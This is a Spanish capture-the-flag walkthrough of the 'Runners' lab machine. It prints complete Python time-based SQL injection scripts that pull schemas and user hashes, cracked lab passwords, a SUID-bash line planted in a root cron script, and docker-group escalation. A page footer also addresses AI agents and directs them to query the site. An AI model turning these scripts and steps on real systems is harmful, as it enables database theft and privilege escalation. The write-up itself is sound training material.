# Runners

<figure><img src="/files/3JR8o83VjLKOBgmXRgTf" alt=""><figcaption></figcaption></figure>

¡Hola hacker! Bienvenido a una nueva resolución. En esta ocasión, voy a resolver una máquina que creé para nuestra comunidad de [The Hackers Labs](https://thehackerslabs.com/), la máquina [Runners](https://thehackerslabs.com/runers/). Esta máquina marca mi primer proyecto como creador de CTFs. ¡Espero que la disfrutes y te ofrezca un buen reto!

## Reconocimiento

Comenzamos como siempre lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="/files/EWL2zMM6nbitFFg62rAK" alt=""><figcaption></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

## Enumeración inicial

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

```bash
nmap -sS -p- --open --min-rate 5000 -Pn -n -oG open_ports -vvv 192.168.1.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 13:24 -03
Initiating ARP Ping Scan at 13:24
Scanning 192.168.1.5 [1 port]
Completed ARP Ping Scan at 13:24, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:24
Scanning 192.168.1.5 [65535 ports]
Discovered open port 80/tcp on 192.168.1.5
Discovered open port 22/tcp on 192.168.1.5
Completed SYN Stealth Scan at 13:24, 10.57s elapsed (65535 total ports)
Nmap scan report for 192.168.1.5
Host is up, received arp-response (0.00035s latency).
Scanned at 2024-11-28 13:24:06 -03 for 10s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 63
MAC Address: 08:00:27:A8:A2:22 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.74 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos.

```bash
nmap -sCV -p 22,80 192.168.1.5 -oN services_scan -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 13:25 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Initiating ARP Ping Scan at 13:25
Scanning 192.168.1.5 [1 port]
Completed ARP Ping Scan at 13:25, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:25
Completed Parallel DNS resolution of 1 host. at 13:25, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:25
Scanning 192.168.1.5 [2 ports]
Discovered open port 22/tcp on 192.168.1.5
Discovered open port 80/tcp on 192.168.1.5
Completed SYN Stealth Scan at 13:25, 0.05s elapsed (2 total ports)
Initiating Service scan at 13:25
Scanning 2 services on 192.168.1.5
Completed Service scan at 13:25, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.5.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.33s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.02s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Nmap scan report for 192.168.1.5
Host is up, received arp-response (0.0030s latency).
Scanned at 2024-11-28 13:25:04 -03 for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a9:95:53:cd:44:32:5e:69:4a:83:e6:e5:2d:bf:eb:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKLNo2slroLK4B4+IzyO4ibWn82Pezb44/b5hxorFBVpTwHJNMW6q/2u9/WpcbpSUgLya+j0g0zo7devF9MM4iE=
|   256 7b:cd:42:3f:1f:7d:aa:f3:58:8f:7d:85:93:c5:fa:01 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA4tPo94klPK58wslxLdMnryD2EjPHu1cohW5uRSdAcu
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Runners Unlimited
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:A8:A2:22 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.87 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
```

## Explotación inicial

Ingresamos a la web que esta corriendo bajo el puerto 80 y nos encontramos con un blog que habla sobre lo que es el mundo del running y distintas experiencias vividas por los autores de los artículos.

<figure><img src="/files/FApAFwz9rTEzDRCB2MqV" alt=""><figcaption></figcaption></figure>

Navegando por la web, nos encontramos que al ingresar a un artículo existe un parámetro en la url, que al parecer corresponde al `id` del artículo.

<figure><img src="/files/E10HZjhZd3SLg0AVIu0h" alt=""><figcaption></figcaption></figure>

Probamos ingresar una comilla simple `'` pero vemos que no ocurre ningun error, simplemente no encuentra artículos.

<figure><img src="/files/SHAm3ogj79t2yqwXFcyQ" alt=""><figcaption></figcaption></figure>

Probemos si este parámetro es vulnerable a inyección sql, para lo cual, intentemos descubrir cuantas columnas esta devolviendo la consulta que esta por detrás.

Probamos con 2, no pasa nada.

<figure><img src="/files/v5HFdUmrJxIAGQAt73qr" alt=""><figcaption></figcaption></figure>

Probamos con 4 y vemos que no devuelve resultados.

<figure><img src="/files/xVlGGgcjmGoQHsTd4dkO" alt=""><figcaption></figcaption></figure>

Probamos con 3 y vemos que nos devuelve el artículo, por lo tanto sabemos que la consulta esta devolviendo un total de 3 columnas.

<figure><img src="/files/YyHlRDo87uZ8HCY9cSJg" alt=""><figcaption></figcaption></figure>

Utilicemos una clausula `UNION SELECT` para ver que nos devuelve. Necesitamos ingresar un valor de `id` que no exista, por ejemplo 100.

<figure><img src="/files/n2iRZwBILVLKbAXGPCmI" alt=""><figcaption></figcaption></figure>

Observamos los números reflejados en el html.

Probemos ahora con el siguiente payload.

```sql
UNION SELECT database(),2,3-- -
```

<figure><img src="/files/0TLKeaMJNx10j36csxiF" alt=""><figcaption></figcaption></figure>

Genial, logramos ver el nombre de la base de datos.

> NOTA:
>
> Si te preguntas porque aparce dos veces el número 1 o el nombre de la base de datos, esto se debe a que el título se utiliza como valor del atributo alt de la imágen y como no se encuentra una url para cargar una imágen se muestra el valor de dicho atributo.

> NOTA:
>
> La cláusula `UNION SELECT` en SQL se utiliza para combinar los resultados de dos o más consultas SELECT en un solo conjunto de resultados.
>
> En pocas palabras, combina multiples consultas SELECT en una tabla de resultados única. A su vez, es importante tener en cuenta que la consulta debe devolver el mismo número de columnas y con tipos de datos compatibles en las posiciones correspondientes.

Otra forma de probar la vulnerabilidad es con una inyección basada en tiempo usando el siguiente payload.

```bash
id=100 OR SLEEP(1)-- -
```

Cómo no existe un artículo con `id` 100, se ejecuta el `SLEEP(1)`, por lo que deberías notar que la consulta demora 1 segundo tal vez un poco más en responder confirmando la presencia de una inyección SQL.

<figure><img src="/files/T1PFMCGKGJXA5juI9hrA" alt=""><figcaption></figcaption></figure>

Ahora que sabemos que el parámetro `id` es vulnerable, podemos automatizar el proceso a ver que encontramos. En este caso, lo voy a realizar usando Python, pero también pudes hacerlo usando herramientas como sqlmap.

#### Bases de datos.

Utilizamos el siguiente script en Python para obtener las base de datos.

{% code title="get\_databases.py" overflow="wrap" %}

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'

url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
       
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
    
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(schema_name,{position},1))={char},SLEEP(1),0) FROM information_schema.schemata LIMIT {limit},1)-- -"

				url_sqli = url + payload

                p1.status(payload)
            
                res = requests.get(url_sqli)

                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break


if __name__ == '__main__':
    makeSQLi()
```

{% endcode %}

Expliquemos un poco como funciona el script.

En primer lugar, nos encontramos con la función `def_handler`, la cual se encarga de manejar la señal SIGINT (usualmente enviado al presionar `CTRL + C` para permitir una salida limpia del programa, mostrando un mensaje antes de cerrar).

```python
def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
```

Luego, se define la variable `character` asignando un conjunto de caracteres que incluye **dígitos, letras en minúscula y mayúscula, además de los caracteres `_` y `.`**. Se usa para construir y validar cada carácter de los datos extraídos.

```python
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'
```

Seguidamente, definimos la variable url, con la url donde se encuentra la vulnerabilidad.

```python
url = "http://192.168.1.5/post.php?id=100"
```

Posteriormente, definimos la función prinicipal `makeSQLi`, la cual es la función principal del script.

```python
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
```

En primera instancia, se incializan dos indicadores de progreso: - `p1`: Muestra el estado general del ataque. - `p2`: Muestra los datos extraídos hasta el momento.

En seguida, se crea la variable `extracted_info` para almacenar el texto recuperado.

Luego de eso, comienza a definirse el proceso de extracción de información

```python
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

```

Comenzamos definiendo un bucle for principal, para itera sobre un rango de bases de datos (controlado por `LIMIT` en el payload SQL). En caso de que no sea la primera iteración, añade una coma al resultado (`extracted_info`), para separar nombres de bases de datos.

Subsiguientemente, definimos un bucle for interno, encargado de la extracción carácter por carácter.

```python
        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
```

En este bucle, se intenta recuperar hasta 250 caracteres por entrada (nombre de base de datos, tablas o columna, como veremos más adelante). Dentro del bucle for más interno, se convierte cada carácter del conjunto `characters` a su valor ASCII con `ord()` para usarlo en el payload SQL.

```python
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(schema_name,{position},1))={char},SLEEP(1),0) FROM information_schema.schemata LIMIT {limit},1)-- -"
```

Esta es la parte principal del código y donde se lleva a cabo la explotación de la inyección SQL.

* `(SELECT IF(...))`: Evalúa una condición:
  * Si la condición es verdadera (el carácter coincide), el servidor **se "duerme" por 1 segundo (SLEEP(1))**.
  * Si es falsa, responde normalmente (sin demora).
* `ASCII(SUBSTRING(schema_name, {position}, 1))`: Extrae el carácter en la posición actual (`position`) de los nombres de bases de datos (`schema_name`).
* `LIMIT {limit},1`: Selecciona el nombre de base de datos actual en el rango `LIMIT`.

En el siguiente paso, combina la URL base con el payload y envía la petición HTTP.

```python
	url_sqli = url + payload
	res = requests.get(url_sqli)
```

En seguida de ello, se realiza el análisis de la respuesta.

```python
                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break
```

Si el servidor demora más de 1 segundo en responder, significa que el carácter actual es correcto, actualiza el progreso (`p2.status`) y avanza al siguiente carácter. Por el contrario, si no se encuentra un carácter válido en varias posiciones consecutivas, asume que el nombre actual ha terminado y pasa al siguiente.

Por ultimo, este bloque de código indica que cuando se ejecute el script, se llame a la función `makeSQLi`.

```python
if __name__ == '__main__':
    makeSQLi()
```

Ahora que tenemos claro que es lo que realiza el script, lo ejecutamos.

<figure><img src="/files/AmM7mxV6xrwYe7HfKJeb" alt=""><figcaption></figcaption></figure>

Vemos que existe la base de datos `blog`.

#### Tablas

Para obtener las tablas de la base de datos `blog`, un script similar con una pequeña modificación en el payload, donde utilizamos la tabla `information_schema.tables` para obtener las tablas de la base de datos `blog`.

{% code title="get\_tables.py" overflow="wrap" %}

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'

url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
       
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
    
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(table_name,{position},1))={char},SLEEP(1),0) FROM information_schema.tables WHERE table_schema='blog' LIMIT {limit},1)-- -"

		url_sqli = url + payload

                p1.status(payload)
            
                res = requests.get(url_sqli)

                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break


if __name__ == '__main__':
    makeSQLi()
```

{% endcode %}

<figure><img src="/files/2TMPvYZKVF24zjOIRDdi" alt=""><figcaption></figcaption></figure>

#### Obtenemos las columnas de la tabla `users`

Al igual que los scripts anteriores, realizamos una pequeña modificación, en este caso para obtener las columnas de la tabla `users` de la base de datos `blog`, para lo cual utilizamos la tabla `information_schema.columns`.

{% code title="get\_columns.py" overflow="wrap" %}

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'

url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
       
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
    
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(column_name,{position},1))={char},SLEEP(1),0) FROM information_schema.columns WHERE table_schema='blog' AND table_name = 'users' LIMIT {limit},1)-- -"

		url_sqli = url + payload

                p1.status(payload)
            
                res = requests.get(url_sqli)

                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break


if __name__ == '__main__':
    makeSQLi()
```

{% endcode %}

<figure><img src="/files/Rdx44ISIKGVtS8djCuUN" alt=""><figcaption></figcaption></figure>

#### Obtenemos los valores.

Ahora que conocemos la base datos, la tabla y las columnas, realizamos una simple consulta la cual nos devuelve los usuarios y contraseñas.

{% code title="get\_data.py" overflow="wrap" %}

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.:'

url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
       
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
    
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(CONCAT(username,0x3a,password),{position},1))={char},SLEEP(0.5),0) FROM blog.users LIMIT {limit}, 1)-- -"
                url_sqli = url + payload
                p1.status(payload)
            
                res = requests.get(url_sqli)

                if res.elapsed.total_seconds() > 0.5:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break


if __name__ == '__main__':
    makeSQLi()
```

{% endcode %}

Ejecutamos el script y obtenemos los hashes de los usuarios.

```bash
python3 get_data.py
```

```bash
david:527aa9f431539da8e151d5434d1d5e611d973f601d8e970790882624554146b0
maria:7927e941a969cdf471354e79b7ae29ae25ca04d59f66d6c19f9c43a9367ec498
ian:febb36d29baf28da1a00cad0cc6937d49f13738ff9dd88276e7c85920d2bff40
```

Crackeamos los hashes con `john` y encontramos la contraseña de `david`.

<figure><img src="/files/g47rSM8ovykcwHq0CIvq" alt=""><figcaption></figcaption></figure>

```c
david:runner
```

Nos conectamos con `david` por ssh al puerto 2222.

<figure><img src="/files/2DrIh6W7EZULfdrytGY0" alt=""><figcaption></figcaption></figure>

### david -> maria

Si miramos dentro del directorio home de `david`, vemos que existe un directorio oculto `.hidden` y dentro de este un archivo zip.

<figure><img src="/files/f8Bw6YlwzvFuNTFvwVsM" alt=""><figcaption></figcaption></figure>

Descargamos el archivo a nuestra máquina atacante.

Utilizamos scp para descargar el archivo.

<figure><img src="/files/Pk9QthYzGVI2mGjGyIPz" alt=""><figcaption></figcaption></figure>

Al momento de descomprimir el archivo nos solicita una contraseña.

<figure><img src="/files/hXgpmIT2qyLhSwNq66Gz" alt=""><figcaption></figcaption></figure>

Utilizamos `zip2john` para generar el hash y luego crackearlo con `john`.

<figure><img src="/files/NyaYlym2Jk29UwqSM2gA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JtyvtI5zfS1m71WqjEBp" alt=""><figcaption></figcaption></figure>

Genial, obtenemos la contraseña del archivo zip `rockandroll`.

Descomprimimos el archivo.

<figure><img src="/files/8kOoi2r1yu3cX5T9Ep11" alt=""><figcaption></figcaption></figure>

Obtenemos un archivo `credenciales.xlsx`

Abrimos el archivo, en este caso con LibreOffice.

<figure><img src="/files/clr7TRDlJcR2ad4AdWYN" alt=""><figcaption></figcaption></figure>

Dentro de este, encontramos unas credenciales, de `david` la misma que ya teniamos y de `maria`.

<figure><img src="/files/tcmhJ7m2epRMP95pJIxh" alt=""><figcaption></figcaption></figure>

Utilizamos las credenciales de `maria` para iniciar sesión en el sistema a través de ssh.

```
maria:4br53#j6p78mq#zbvc
```

### **Escalación de privilegios en el contenedor**

Logramos ingresar al sistema como el usuario `maria`, pero aun estamos dentro del contenedor.

<figure><img src="/files/lMQDZWzIUmXFT5fGp5Mw" alt=""><figcaption></figcaption></figure>

Si realizamos una enumeración básica del sistema, encontramos un script `/opt/backup.sh` en el cual tenemos capacidad de escritura.

<figure><img src="/files/FH11DcEfsiGz7ZP2mqNR" alt=""><figcaption></figcaption></figure>

Si miramos el script, vemos que se esta realizando un backup de la base de datos `blog`.

```bash
#!/bin/bash
BACKUP_DIR="/srv/backups"
DB_NAME="blog"
DB_USER="root"
ZIP_PASSWORD="metallica"

BACKUP_FILE="$BACKUP_DIR/blog_backup_$(date +'%Y%m%d%H%m').sql"
/usr/bin/mysqldump -u $DB_USER $DB_NAME > $BACKUP_FILE

zip -P "$ZIP_PASSWORD" "${BACKUP_FILE}.zip" "$BACKUP_FILE"

rm -f "$BACKUP_FILE"

echo "$(date): Backup comprimido de la base de datos '$DB_NAME' creado en ${BACKUP_FILE}.zip" >> /var/log/backup.log

function cleanup_backups {
    local total_backups=$(ls -1t "$BACKUP_DIR"/*.zip 2>/dev/null | wc -l)

    if (( total_backups > 10 )); then
        ls -1t "$BACKUP_DIR"/*.zip | tail -n +11 | while read -r old_backup; do
            rm -f "$old_backup"
            echo "$(date): Backup antiguo eliminado: $old_backup" >> /var/log/backup.log
        done
    fi
}

cleanup_backups
```

Podemos observar también utilizando `pspy` que se esta ejecutando una tarea `cron` la cual ejecuta este script y el usuario que lo esta ejecutando es root.

Subimos pspy.

<figure><img src="/files/8j9uJeYsRn6P5JY0Dhh2" alt=""><figcaption></figcaption></figure>

Asignamos permisos de ejecución al binario .

```bash
chmod +x pspy
```

Ejecutamos pspy.

<figure><img src="/files/EUrVsWwLDIUOHAkOVpj3" alt=""><figcaption></figcaption></figure>

Como somos el usuario `maria` y tenemos la capacidad de escritura en el script backup, podemos agregar lo siguiente al script.

```bash
chmod u+s /bin/bash
```

Asignado permisos suid al binario bash.

Esperamos que se ejecute el script y vemos que tenemos permisos suid en la bash.

De esta forma, logramos escalar privilegios en el contenedor.

<figure><img src="/files/4b3iqpvq5FZH97Yey99a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0pWZlqhpLLncSfMDES0o" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6zN8ZiZVbKOe6OCoFpgD" alt=""><figcaption></figcaption></figure>

Si miramos dentro del directorio home de root, encontramos un archivo `TODO_LIST.txt`.

<figure><img src="/files/mJHLpv4XQtW0vzVacRLg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OrkGfM7rTh06873yhyRu" alt=""><figcaption></figcaption></figure>

Dentro de esta lista de tareas se menciona el nombre de un usuario `ian` y su posible contraseña `iambatman`.

## ian -> elliot

Probamos estas credenciales para conectarnos por ssh al host principal y efectivamente son validas.

```
ian:iambatman
```

<figure><img src="/files/N4Hj6i0A7KoMUImdyqbt" alt=""><figcaption></figcaption></figure>

Obtenemos el flag de user.txt

<figure><img src="/files/BTScKoexGjiT1U9J79d7" alt=""><figcaption></figcaption></figure>

Si miramos dentro del directorio home del usuario `elliot` encontramos un archivo `miscredenciales.psafe3`.

Lo descargamos a nuestra máquina utilizando scp.

<figure><img src="/files/2W1VG9Th0P2unKTg9p8a" alt=""><figcaption></figcaption></figure>

> ¿Qué es un archivo `.psafe3`?&#x20;
>
> Un archivo `.psafe3` es el formato utilizado por **Password Safe**, una herramienta de gestión de contraseñas. Este archivo almacena de forma segura contraseñas y datos sensibles, encriptados con algoritmos como **Twofish** para protegerlos contra accesos no autorizados. Solo se puede acceder al contenido mediante una clave maestra definida por el usuario.

> ¿Qué es Password Safe (pwsafe)?&#x20;
>
> **Password Safe** es un software de código abierto diseñado para almacenar y gestionar contraseñas de manera segura. Ofrece características como:
>
> * **Encriptación fuerte:** Usa algoritmos como Twofish.
> * **Portabilidad:** Los archivos `.psafe3` pueden trasladarse fácilmente entre dispositivos.
> * **Autenticación centralizada:** Se requiere una contraseña maestra para acceder a todas las credenciales.

Lo abrimos con [pwsafe](https://pwsafe.org/) pero nos solicita una contraseña maestra para poder acceder.

```bash
pwsafe miscredenciales.psafe3
```

<figure><img src="/files/aGMObJE9WvD8vmngsFcv" alt=""><figcaption></figcaption></figure>

Utilizamos `pwsafe2john` y lo crackeamos con `john`.

<figure><img src="/files/9U7l7tdQhN792t65zptM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Fg2JkOL7N5IDwKzsJkG1" alt=""><figcaption></figcaption></figure>

Genial! obtenemos la contraseña maestra.

Abrimos la boveda con `pwsafe`.

<figure><img src="/files/Cc5kV4FhHcnDqWHIggbB" alt=""><figcaption></figcaption></figure>

Vemos que existen varias entradas de credenciales pero hay una particular que nos llama la atención, la entrada Blog.

<figure><img src="/files/89HB71ikeGb8nwbYwsxO" alt=""><figcaption></figcaption></figure>

Si le damos editar entrada, podemos ver que se revelan una serie de credenciales.

<figure><img src="/files/O4TsvSbNiaXRTx3UPm8i" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ea65H6beWLvBKSTNZxjv" alt=""><figcaption></figcaption></figure>

Usamos estas credenciales para conectarnos por ssh al sistema.

```
elliot:HwbE80ZOtZQdkYB
```

Efectivamente, las credenciales son validas.

<figure><img src="/files/NTb2ivake0be8gnc3Trs" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Si realizamos una enumeración básica del sistema, podemos ver que el usuario elliot pertenece al grupo `docker` por lo que podemos abusar de este.

<figure><img src="/files/XUR1zBjFLnPGvsSi5pVD" alt=""><figcaption></figcaption></figure>

Cremos un contenedor usando una imagen de Alpine Linux y montamos la raíz en el contenedor bajo el directorio host y cambiamos el directorio raíz.

<figure><img src="/files/tzqT9Nfssv0ExugXAD6f" alt=""><figcaption></figcaption></figure>

Asignamos permisos suid a la bash.

<figure><img src="/files/635NbvTXbRlAnt2a9L4i" alt=""><figcaption></figcaption></figure>

Salimos del host y comprobamos que efectivamente se asignaron permisos suid al binario bash del host.

<figure><img src="/files/6h4veRdqn4tr6vImumgs" alt=""><figcaption></figcaption></figure>

De esta manera, logramos escalar nuestros privilegios.

<figure><img src="/files/8obFU4z9IXEt66JwreuE" alt=""><figcaption></figcaption></figure>

## Post Explotación

Leemos el flag de root.

<figure><img src="/files/FIDpzQdNMdy2m3OFDDCb" alt=""><figcaption></figcaption></figure>

De esta manera, concluimos la resolución de la máquina Runners.

Si te gustó este CTF, ¡cuentaselos a otros!.

Recuerda, los desafíos son solo una pieza del rompecabezas; sigue aprendiendo, explorando y compartiendo tu conocimiento.

¡Gracias por leer!

¡Happy Hacking!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4redevil.gitbook.io/d4redevil/writeups/the-hackers-labs/linux/avanzado/runners.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
